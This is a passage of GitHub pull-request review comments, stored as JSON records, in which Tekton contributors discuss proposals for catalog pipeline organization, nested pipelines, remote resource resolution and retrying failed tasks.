could you please explain how tools could fetch it and append it as annotation to install the pipeline or did you meant that if the manifest is added in the annotation then tools could fetch it and install it and install pipeline ??", "comment_id": 589584732, "created_at": "2021-03-08T16:56:05Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "So is it that current catalog can't have a pipeline that uses tasks from other catalog ??", "comment_id": 589585899, "created_at": "2021-03-08T16:57:31Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Currently hub doesn't have any data about downloads since we are providing the install command. But it completely make sense to know the usage of each resource", "comment_id": 589589290, "created_at": "2021-03-08T17:01:42Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": null, "body": "Got some extra `@` signs here :)", "comment_id": 604118958, "created_at": "2021-03-30T13:54:57Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": null, "body": "> To be honest I'm not sure if we want pipeline in the Tekton catalog that refer to tasks in other catalogs, at least not in the \"official\" and \"verified\" tiers?\r\n\r\nThis was my reaction as well. I don't think the OSS catalog should allow references to external Tasks. Is there a reason to support that?", "comment_id": 604127216, "created_at": "2021-03-30T14:03:50Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": null, "body": "> that would then force users to always pull that task from git\r\n\r\nI see this a bit differently - I think it gives a CLI tool or The Hub a reference point to initialize the pipeline tasks from. What ultimately happens with those `taskRefs` is up to the tool - they could be left alone so the pipeline controller deals with them, they could be fetched and embedded as `taskSpec` in to the pipeline before it's applied to k8s, they could be fetched and installed to the cluster or published to a bundle and the PipelineTask's `taskRef` rewritten to point at that new location.", "comment_id": 604136070, "created_at": "2021-03-30T14:14:06Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": null, "body": "I think this is true for all the solutions you propose.", "comment_id": 604140126, "created_at": "2021-03-30T14:18:39Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "jerop", "body": "@PuneetPunamiya what do you think about using `Tasks` in the Tekton Catalog only? \r\nWe can revisit supporting other Catalogs later ", "comment_id": 620455110, "created_at": "2021-04-26T16:25:20Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "@jerop Yes I think it makes sense about using `Tasks` which are there in the catalog only. I'll update the pr on that. Thanks", "comment_id": 620514479, "created_at": "2021-04-26T17:43:49Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "I agree with @jerop and @sbwsg that using this catalog only would make things simpler, at least to start.\r\nHowever I would like to make sure we don't decide for a solution that would make external references harder in future. \r\nThe use case I have in mind is an organisation creating their own catalog of tasks and pipelines. \r\nIf they're not allowed to reference to tasks from the community catalog they'll have to copy them downstream and bear the associated technical debt.", "comment_id": 621254315, "created_at": "2021-04-27T14:17:54Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "I'm wondering if we really need this, or if we could get away without.\r\nWhat resources are we going to support apart from tasks? \r\nTasks are either in a dedicated folder, so we could install them from there, or else we must have a reference of some kind, which the catalog tooling need to be able to resolve.", "comment_id": 621257965, "created_at": "2021-04-27T14:21:48Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "This is not clear to me, what annotation does this refer to?", "comment_id": 621259357, "created_at": "2021-04-27T14:23:15Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "Uhm, this might still be needed for tasks that are not in the catalog, right?", "comment_id": 621261373, "created_at": "2021-04-27T14:25:28Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "This solution would work for the upstream catalog once tasks are published to bundles on a regular basis.\r\n\r\nWe may have to look for a solution that would be applicable in general, but perhaps we could do that as a follow-up. We could make it so that the catalog pipelines are not consumable directly by a tekton controller, but need to be \"compiled\" first instead, so that an original reference to Task could be turned in a different `taskRef` depending on the options passed at \"compile\" time. ", "comment_id": 621388158, "created_at": "2021-04-27T16:27:54Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "afrittoli", "body": "That's a good point, whatever the reference we end up with in the installed pipeline, the tool that produces might need a way to find the task. ", "comment_id": 621409200, "created_at": "2021-04-27T16:51:14Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "I guess if we go with bundle solution we might not need this script, because user would just have to install the pipeline and not worry about tasks anymore", "comment_id": 622033029, "created_at": "2021-04-28T10:15:03Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Can't we ask user to publish the task which is outside catalog and make it public in that case ??", "comment_id": 622035076, "created_at": "2021-04-28T10:17:54Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "exactly!!! :D that sounds great", "comment_id": 622321028, "created_at": "2021-04-28T15:57:59Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "i want to ask a bit more about this - to avoid blocking this proposal, maybe we could remove this (or say it is TDB) and have a separate TEP dealing with when to bump the version of items in the catalog in general?\r\n\r\nim a bit confused by the idea of changing something in a pipeline or task without bumping the version number - im wondering if the motivation for this might be that we made it too hard to bump the version in the catalog? because i think the clearest and least confusing thing to do is to bump the version whenever we make a change, which is the same approach we would take to any other software (e.g. if we did a release of tekton pipelines where we'd changed the version of a dependency, even if it was to bring in a critical bug fix, we'd bump the version, we wouldn't re-use the same version number)\r\n\r\ni.e. folks should know that they can pin to a certain version number without having things change out from under them\r\n\r\n( + @jerop )", "comment_id": 633566187, "created_at": "2021-05-17T14:11:11Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "bumping this, i think we can remove the install-script and tasks dir now from this example and the list above?", "comment_id": 633567112, "created_at": "2021-05-17T14:12:19Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "bumping this", "comment_id": 633567328, "created_at": "2021-05-17T14:12:36Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "i think these references to the tasks dir could be removed now that we're going the bundle route", "comment_id": 633567635, "created_at": "2021-05-17T14:12:58Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Yes sure I'll update the example thanks \ud83d\udc4d\ud83c\udffb \r\n", "comment_id": 633630138, "created_at": "2021-05-17T15:23:43Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Yep we can remove this now, will update this!", "comment_id": 633632701, "created_at": "2021-05-17T15:26:00Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "could we add this maybe to the questions section below for now?", "comment_id": 636465226, "created_at": "2021-05-20T20:57:15Z", "line": null, "path": "teps/0057-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "bobcatfish", "body": "thanks @PuneetPunamiya !!", "comment_id": 639861172, "created_at": "2021-05-26T15:45:52Z", "line": 122, "path": "teps/0067-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "PuneetPunamiya", "body": "Thanks for the review and feedback @bobcatfish \ud83d\ude42 ", "comment_id": 640314539, "created_at": "2021-05-27T06:11:06Z", "line": 122, "path": "teps/0067-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "squee1945", "body": "Here's a potential future use case in support of this approach:\r\n\r\nTEP-0091 (https://github.com/tektoncd/community/pull/537) wants to have support for verified tasks. That TEP talks specifically about bundles, but it will likely be expanded to support arbitrary remote resources as per TEP-0060 (https://github.com/tektoncd/community/blob/main/teps/0060-remote-resource-resolution.md).\r\n\r\nSo, imagine that we extend the Task catalog to have formal fields for (1) signing technique (e.g., `cosign`) and (2) signing public key. Then this `catalogs`/`catalog` notation in this TEP could automatically verify the signatures using the formal fields from the catalog with no additional work by the user here.", "comment_id": 731400566, "created_at": "2021-10-19T00:13:33Z", "line": 341, "path": "teps/0067-tekton-catalog-pipeline-organization.md", "pr_number": 352, "repo": "community"} +{"author": "pritidesai", "body": "Decoupling of such failures is only possible because `linting` sub pipeline and `tests` sub pipeline start executing at the same time. It wouldn't be possible to decouple if `tests` sub pipeline is scheduled after `linting` as an example. I think the biggest motivation and use case for this feature would be to construct the sharable pipelines. I would make that (shareability) as the main use case in addition to this.", "comment_id": 589888465, "created_at": "2021-03-09T02:14:47Z", "line": null, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "jerop", "body": "thanks for the review @pritidesai! \r\n\r\n> Decoupling of such failures is only possible because `linting` sub pipeline and `tests` sub pipeline start executing at the same time. It wouldn't be possible to decouple if `tests` sub pipeline is scheduled after `linting` as an example\r\n\r\nif the `testing` subpipeline is scheduled after the `linting` subpipeline, that means there are dependencies between them (they're in the same branch), so the failure in `linting` can impact the `testing` subpipeline\r\n\r\nwhat I was trying to address there is when the subpipelines are executed in parallel, when `linting` subpipeline fails then `testing` subpipeline would currently stop execution but we'd want it to run to completion so we get the test results (because there are no dependencies with the `linting` subpipeline`)\r\n\r\n> I think the biggest motivation and use case for this feature would be to construct the sharable pipelines. I would make that (shareability) as the main use case in addition to this.\r\n\r\nagreed, i tried to capture that in `reusability`...maybe I need to expound on it further or is `shareability` separate from that? please let me know ", "comment_id": 590427270, "created_at": "2021-03-09T14:40:09Z", "line": null, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "pritidesai", "body": "> if the `testing` subpipeline is scheduled after the `linting` subpipeline, that means there are dependencies between them (they're in the same branch), so the failure in `linting` can impact the `testing` subpipeline\r\n\r\nnot necessarily, lets take a look at a bit more complex graph such as: \r\n\r\n```\r\nshort-running-sub-pipeline(linting) long-running-sub-pipeline(build)\r\n |\r\n sub-pipeline(test) \r\n\r\n```\r\n\r\nHere, if the `short-running-sub-pipeline` has a failure, the `sub-pipeline` which has no direct connection to it will not be executed.", "comment_id": 590614471, "created_at": "2021-03-09T18:25:48Z", "line": null, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "pritidesai", "body": "> agreed, i tried to capture that in reusability...maybe I need to expound on it further or is shareability separate from that? please let me know\r\n\r\nBoth are aligned, no need to expound on it further.", "comment_id": 590615889, "created_at": "2021-03-09T18:27:46Z", "line": null, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "jerop", "body": "> > if the `testing` subpipeline is scheduled after the `linting` subpipeline, that means there are dependencies between them (they're in the same branch), so the failure in `linting` can impact the `testing` subpipeline\r\n> \r\n> not necessarily, lets take a look at a bit more complex graph such as:\r\n> \r\n> ```\r\n> short-running-sub-pipeline(linting) long-running-sub-pipeline(build)\r\n> |\r\n> sub-pipeline(test) \r\n> ```\r\n> \r\n> Here, if the `short-running-sub-pipeline` has a failure, the `sub-pipeline` which has no direct connection to it will not be executed.\r\n\r\nyes that's right, so a user who wants `sub-pipeline(tests)` to execute when `short-running-sub-pipeline(linting)` fails would create `build-and-test-sub-pipeline` made up of `long-running-sub-pipeline(build)` and `sub-pipeline(test)`\r\n\r\nI could clarify the use case to \"when there's a failure in unrelated Tasks, continue the execution of the set of Tasks once the first one has started\" -- so in the above scenario, `long-running-sub-pipeline(build)` would run to completion -- what do you think? ", "comment_id": 590708809, "created_at": "2021-03-09T20:49:14Z", "line": null, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": null, "body": "Do you think we should add a requirement here that the `results` and `condition` of the sub-pipeline should be made available in the parent pipeline? For example I could run two sub-pipelines and then use a finally task to report results from both of them if they ran to success.", "comment_id": 593159165, "created_at": "2021-03-12T13:08:18Z", "line": 214, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": null, "body": "Another possible requirement (although this might be verging into implementation detail and too much info right now?): Deleting a Pipeline with PiPs also deletes the PipelineRuns that were created for those PiPs. This would mean users don't have to go back and clean up the PipelineRuns that were created for PiPs - they'd all get deleted when the root `Run` or `Pipeline` is deleted.", "comment_id": 593171573, "created_at": "2021-03-12T13:29:05Z", "line": 214, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "pritidesai", "body": "thanks for the updates @jerop, looks great \ud83d\ude4f ", "comment_id": 600000802, "created_at": "2021-03-23T22:29:06Z", "line": null, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "vdemeester", "body": "We are missing a Summary \ud83d\ude43 ", "comment_id": 600398752, "created_at": "2021-03-24T11:38:12Z", "line": 98, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "jerop", "body": "added the summary \ud83d\ude01", "comment_id": 605040648, "created_at": "2021-03-31T16:21:34Z", "line": 98, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "jerop", "body": "added those and a couple more requirements about the main pipeline and the subpipeline \r\n\r\nthanks @sbwsg \ud83d\ude4f\ud83c\udffe ", "comment_id": 605047150, "created_at": "2021-03-31T16:30:24Z", "line": 214, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "pritidesai", "body": "\ud83c\udf89 very exciting \ud83c\udf89 I will add one more requirement of an universal access (doesnt have to be addressed in this TEP though) i.e. access the status of the main-pipeline in sub-pipelines \ud83d\ude31 ", "comment_id": 605324194, "created_at": "2021-04-01T01:45:33Z", "line": 218, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "pritidesai", "body": "NIT: last updated 3/31", "comment_id": 605324401, "created_at": "2021-04-01T01:46:16Z", "line": 5, "path": "teps/0056-pipelines-in-pipelines.md", "pr_number": 374, "repo": "community"} +{"author": "afrittoli", "body": "+1", "comment_id": 603312853, "created_at": "2021-03-29T13:52:22Z", "line": 103, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "afrittoli", "body": "Good point... I guess a `git` or a `hub` reference would solve that, or even a `bundle` one would, if we hosted a public bundle of the catalog.", "comment_id": 603333709, "created_at": "2021-03-29T14:17:52Z", "line": null, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "afrittoli", "body": "What do you mean by `Conditions` in this context?", "comment_id": 603423369, "created_at": "2021-03-29T16:07:16Z", "line": 128, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "afrittoli", "body": "Should we have anything about caching or do you think that's a concern of the specific resolver?\r\nToday we store the `spec` on the status, so that might provide a form of caching.", "comment_id": 603426131, "created_at": "2021-03-29T16:10:49Z", "line": 111, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": null, "body": "I was thinking in the sense of status.conditions on TaskRuns - on failing to resolve a taskref, ensure that the `Succeeded`/`\"False\"` condition correctly reflects the failed resolution in the reason and message.", "comment_id": 603983655, "created_at": "2021-03-30T10:41:22Z", "line": 128, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": null, "body": "Yeah, I like the idea that the implementation specifics (caching, pre-fetching, etc) should be left to the resolvers. From the perspective of Pipelines it shouldn't really care about those specifics but it should be concerned with slow or failing resolution. So, in Pipelines, I think this should be controlled via timeout: an operator decides on an SLO e.g. no TaskRuns or PipelineRuns should wait longer than 30s for a remote resource to resolve. They could then configure something like this:\r\n\r\n```\r\nkind: ConfigMap\r\nname: config-tekton-pipelines-resource-resolution\r\nstringData:\r\n timeout: 30s\r\n```\r\n\r\nPipelines will observe this configuration and fail any TaskRun or PipelineRun where resolving a `taskRef` is taking longer than that.", "comment_id": 604063494, "created_at": "2021-03-30T12:47:12Z", "line": 111, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "bobcatfish", "body": "https://github.com/tektoncd/catalog/issues/577 hopefully we'll go in that direction! \ud83e\udd1e ", "comment_id": 604136976, "created_at": "2021-03-30T14:15:12Z", "line": null, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "bobcatfish", "body": "nice, this is a useful section!!", "comment_id": 604141692, "created_at": "2021-03-30T14:20:23Z", "line": 59, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "bobcatfish", "body": "YAASSSSS \ud83d\udcaf \r\n\r\n(tho as i write this i wanted to give a shout out to [`tkn hub install`](https://github.com/tektoncd/cli/blob/main/docs/cmd/tkn_hub_install.md) which is still doing the kubectl apply but is a nicer experience :D )", "comment_id": 604145572, "created_at": "2021-03-30T14:24:25Z", "line": 114, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "bobcatfish", "body": "niiiiice", "comment_id": 604146963, "created_at": "2021-03-30T14:25:38Z", "line": 140, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "bobcatfish", "body": "i wonder if it would make sense to add a requirement around catalog interoperability - i.e. if we go this route, and folks want to add Pipelines to the catalog, they're going to need a reliable way to reference Tasks - maybe we need to have some minimum number of resource resolution mechanisms that work out of the box (tho folks could disable them if needed)? im thinking oci bundles for sure - maybe git as well...", "comment_id": 604148709, "created_at": "2021-03-30T14:27:16Z", "line": 103, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": null, "body": "Linking relevant discussion on [TEP-0053](https://github.com/tektoncd/community/pull/352#discussion_r589364275) as well.", "comment_id": 604163609, "created_at": "2021-03-30T14:42:59Z", "line": 103, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": null, "body": "One of the Goals already describes this a little bit I think:\r\n\r\n```\r\n- Establish a common syntax that tool and platform creators can use to record,\r\n as part of a pipeline or run, the remote location that Tekton resources\r\n should be fetched from.\r\n```\r\n\r\nTo record the requirement of providing bundle and in-cluster support by default I've added a new req:\r\n\r\n```\r\n- At minimum we should provide resolver implementations for Tekton Bundles and\r\n in-cluster resources. These can be provided out-of-the-box just as they are\r\n today. The code for these resolvers can either be hosted as part of\r\n Pipelines, in the Catalog, or in a new repo under the `tektoncd` GitHub org.\r\n```\r\n\r\nAnd then to capture adding git support I've added this one too:\r\n\r\n```\r\n- Add new support for resolving resources from git via this mechanism. This\r\n could be provided out of the box too but we don't _have to_ since this\r\n doesn't overlap with concerns around backwards compatibility in the same way\r\n that Tekton Bundles and in-cluster support might.\r\n```", "comment_id": 604239133, "created_at": "2021-03-30T16:10:58Z", "line": 103, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "vdemeester", "body": "I am not really as excited as you about this @bobcatfish \ud83d\ude1d. `kubectl apply` (or whatever means to consume the REST API) is still a very valid use case for Tekton.", "comment_id": 615842871, "created_at": "2021-04-19T13:22:16Z", "line": 114, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "vdemeester", "body": "Note that we do not prevent that currently, we just do not cover it as part of tektoncd components, but users can create/use their own software to do this if they need.", "comment_id": 615843637, "created_at": "2021-04-19T13:23:17Z", "line": 117, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "vdemeester", "body": "It's not limited to pipeline though right, it could be similar for triggers objects too (binding, interceptors, \u2026)", "comment_id": 615851756, "created_at": "2021-04-19T13:33:11Z", "line": 207, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": null, "body": "Offering a common protocol and source code of working examples (like an \"official\" `BundlesResolver` or `GitResolver`) would also help people that choose to write their own.\r\n", "comment_id": 619827387, "created_at": "2021-04-25T14:46:57Z", "line": 117, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": null, "body": "Maybe! Do you think `PipelineSpec` will one day have a `TriggerRef` of some sort? If so (and if we want that `ref` to be resolvable in the same way) then it will ideally use the same machinery. So `taskRefs`, `pipelineRefs`, and `triggerRefs` all able to lean on the same resolution logic.\r\n\r\nAfter thinking about this a bit I've added 2 more Non-Goals:\r\n\r\n```markdown\r\n- Pulling in non-Pipeline resources like TriggerBindings. Since these aren't\r\n referencable by a Pipeline or Task today it doesn't make sense to extend\r\n support to these types, at least not with this initial proposal.\r\n```\r\nand\r\n```markdown\r\n- Pipelines-as-code. For that we have\r\n [TEP-0048](https://github.com/tektoncd/community/pull/341) which covers much \r\n more ground towards a Tekton-centric approach for \"-as-code\" support.\r\n TEP-0060 (this proposal) should be pretty unopinionated about the ways\r\n teams organize and manage their workflows.\r\n```", "comment_id": 619829638, "created_at": "2021-04-25T15:01:52Z", "line": 207, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "vdemeester", "body": "> Maybe! Do you think `PipelineSpec` will one day have a `TriggerRef` of some sort? If so (and if we want that `ref` to be resolvable in the same way) then it will ideally use the same machinery.\r\n\r\nI do not think that. That was more the opposite, in triggers for example, we refer to a set of interceptor. The mechanism used in `tektoncd/pipeline` could be the same/re-used in triggers.", "comment_id": 629256004, "created_at": "2021-05-10T10:44:17Z", "line": 207, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": null, "body": "OK thanks for clarifying.", "comment_id": 629262327, "created_at": "2021-05-10T10:55:42Z", "line": 207, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": null, "body": "I'm trying to read between the lines a bit here @vdemeester and I want to know if I'm misunderstanding:\r\n\r\nIf I rewrite this proposal to remove mention of pipelines, and push it more in the direction of a library and/or independent Tekton component, would that alleviate some of your current concerns?", "comment_id": 629353164, "created_at": "2021-05-10T13:21:16Z", "line": 207, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "vdemeester", "body": "Is it \"Tekton's state machine\" here or \"Pipeline's state machine\" ?", "comment_id": 629421353, "created_at": "2021-05-10T14:44:06Z", "line": 51, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "vdemeester", "body": "The other side of this coin is \"what if one or all the resolver used is/are not enable on the instance\" ?", "comment_id": 629440553, "created_at": "2021-05-10T15:06:26Z", "line": 165, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "vdemeester", "body": "If we dig deeper on this one, how would this work ? The `PipelineRun` has a `commit` sha as parameter and use that parameter to refer to a given `Pipeline` right ? But then, to be *sure* to refer to the correct `Task` from this `Pipeline`, we need the same `commit` sha parameter, isn't it ? (so that all task are refered using this particular `commit` sha)", "comment_id": 629443685, "created_at": "2021-05-10T15:10:09Z", "line": 145, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "pierretasci", "body": "This sounds like an implementation detail to me tangential to the proposal at hand...\r\n\r\n...but I think there is a simple answer here so I'll give it a shot anyways. I don't think the object making the reference is or should be strictly tied to the resolving process. No where in a pipeline ref for example, should it say `gitRepo: foo`. Therefore, there isn't a single resolver for any given Task. Rather, me as an operator of the Tekton componentry will build/enable different resolvers based on my and my orgs priorities and practices.\r\n\r\nTo the Tekton componentry, it sees a list of resolvers that all follow the same API and it fetches that reference from one of them, falling back to `etcd`. If no where has the Task, it is the same error message you get today.", "comment_id": 630146528, "created_at": "2021-05-11T13:03:11Z", "line": 165, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "pierretasci", "body": "Again, also seems like an implementation detail but in general, maybe? It doesn't have to be a parameter, could be part of the resolver url eg `github.com/tektoncd/community@sha:foo-bar`. I just made this off the top of my head but the salient bit is that it is on the developer of the resolver to specify the format of the input and the contract they have is with the end user to provide that format.\r\n\r\nTekton's role in all this is to provide the API machinery for sending that input to a resolver and expecting the resource back.", "comment_id": 630149901, "created_at": "2021-05-11T13:07:34Z", "line": 145, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "vdemeester", "body": "> ...but I think there is a simple answer here so I'll give it a shot anyways. I don't think the object making the reference is or should be strictly tied to the resolving process. No where in a pipeline ref for example, should it say gitRepo: foo. Therefore, there isn't a single resolver for any given Task. Rather, me as an operator of the Tekton componentry will build/enable different resolvers based on my and my orgs priorities and practices.\r\n\r\nHum right, maybe I assumed there would be something like `git://` or `gitRepo:`. But yeah that might be an implementation detail indeed.", "comment_id": 630181604, "created_at": "2021-05-11T13:45:04Z", "line": 165, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "afrittoli", "body": "It's live now gcr.io/tekton-releases/catalog/upstream", "comment_id": 633508010, "created_at": "2021-05-17T12:59:27Z", "line": null, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": null, "body": "Awesome, I'll remove this problem on the basis that tutorials now have a way to directly refer to catalog tasks.", "comment_id": 633652995, "created_at": "2021-05-17T15:50:44Z", "line": null, "path": "teps/0060-remote-resource-resolution.md", "pr_number": 389, "repo": "community"} +{"author": "Tomcli", "body": "```suggestion\r\n2. As a backend for Kubeflow Pipelines (KFP), one would want to manually retry a failed \r\n```", "comment_id": 628366685, "created_at": "2021-05-07T16:49:00Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "Tomcli", "body": "```suggestion\r\n [Kubeflow pipelines](https://www.kubeflow.org/docs/components/pipelines/reference/api/kubeflow-pipeline-api-spec/#operation--apis-v1beta1-runs--run_id--retry-post) \r\n```", "comment_id": 628368054, "created_at": "2021-05-07T16:51:20Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "Tomcli", "body": "```suggestion\r\n `pipelineRun` to optimally use the resources. KFP already implemented this feature as the [pipeline 'retry' API](https://www.kubeflow.org/docs/components/pipelines/reference/api/kubeflow-pipeline-api-spec/#operation--apis-v1beta1-runs--run_id--retry-post) on the Argo backend.\r\n```", "comment_id": 628373617, "created_at": "2021-05-07T17:00:24Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "We do use Tekton to run some of our CI job in Tekton today.\r\nAnd we do support retest of a single CI job through Tekton today.\r\n\r\nA failure in any task in a pipeline today causes the entire pipeline to fail and to stop, so we need dedicated pipelines for each CI jobs to keep the CI jobs independent from each other. Besides, this approach helps with the notifications to GitHub.\r\n\r\nThis proposal might work nicely together with [TEP 0050 - task failure](https://github.com/tektoncd/community/blob/main/teps/0050-ignore-task-failures.md), since that would allow a failed task to not fail an entire pipeline.\r\n\r\n", "comment_id": 628741404, "created_at": "2021-05-08T11:52:19Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "Documentation is definitely something we need to do, and should be part of the TEP.\r\nI don't think it's a goal of this work though?", "comment_id": 628741995, "created_at": "2021-05-08T11:56:57Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "NIT: Whether this will require a new API or not feels like a design decision / implementation detail. I think we should focus first on identifying the functionality that we want to provide, goals and use cases.", "comment_id": 628742274, "created_at": "2021-05-08T12:00:06Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "afrittoli", "body": "I'm not sure this is 100% fitting with the way we run pipelines in Tekton.\r\nIf a task in a pipeline fails, all tasks currently running finish running and then no new task is scheduled.\r\n\r\nIn this example:\r\n```\r\nA (ok) ---> B (skipped)\r\nC (failed) ---> D (skipped)\r\n```\r\n\r\nMy expectation for \"retry failed pipeline\" would be that (A) is skipped because it was successful before, so (B) and (C) start right away, and (D) is executed if (C) is successful.", "comment_id": 628742509, "created_at": "2021-05-08T12:02:16Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "vdemeester", "body": "What do we mean by a new API here ? In `tektoncd/pipeline` or `tektoncd/triggers`, \u2026 we don't really control what we expose, it's a standard REST\u00a0API, completely managed by k8s api server. In this TEP, do we want to create a new component or do we want to add new fields to the current object in the current components ?", "comment_id": 629235855, "created_at": "2021-05-10T10:10:13Z", "line": null, "path": "teps/0065-retry-failed-tasks-on-demand.md", "pr_number": 422, "repo": "community"} +{"author": "vdemeester", "body": "Note that this is achieve in `kubernetes/kubernetes` (and in any other project using *prow* ) by a prow plugin, and not directly by the \"controller\" of the jobs. What this means is that it is not defined in any job configuration by the user.", 